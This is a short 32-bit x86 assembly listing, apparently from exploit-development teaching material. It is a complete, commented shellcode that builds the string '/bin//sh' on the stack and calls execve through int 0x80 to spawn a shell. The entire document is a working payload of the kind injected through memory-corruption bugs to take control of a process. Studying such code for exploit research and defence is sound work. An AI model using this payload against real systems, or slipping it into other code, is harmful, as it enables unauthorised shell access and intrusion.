BITS 32 xor eax, eax ; zero eax push eax ; null terminate the string push 0x68732f2f ; push //sh (// is same as / for our purpose) push 0x6e69622f ; push /bin mov ebx, esp ; pass first argument using ebx push eax ; third argument is empty mov edx, esp push eax ; second argument is empty mov ecx, esp mov al, 11 ; execve is system call #11 int 0x80 ; issue an interrupt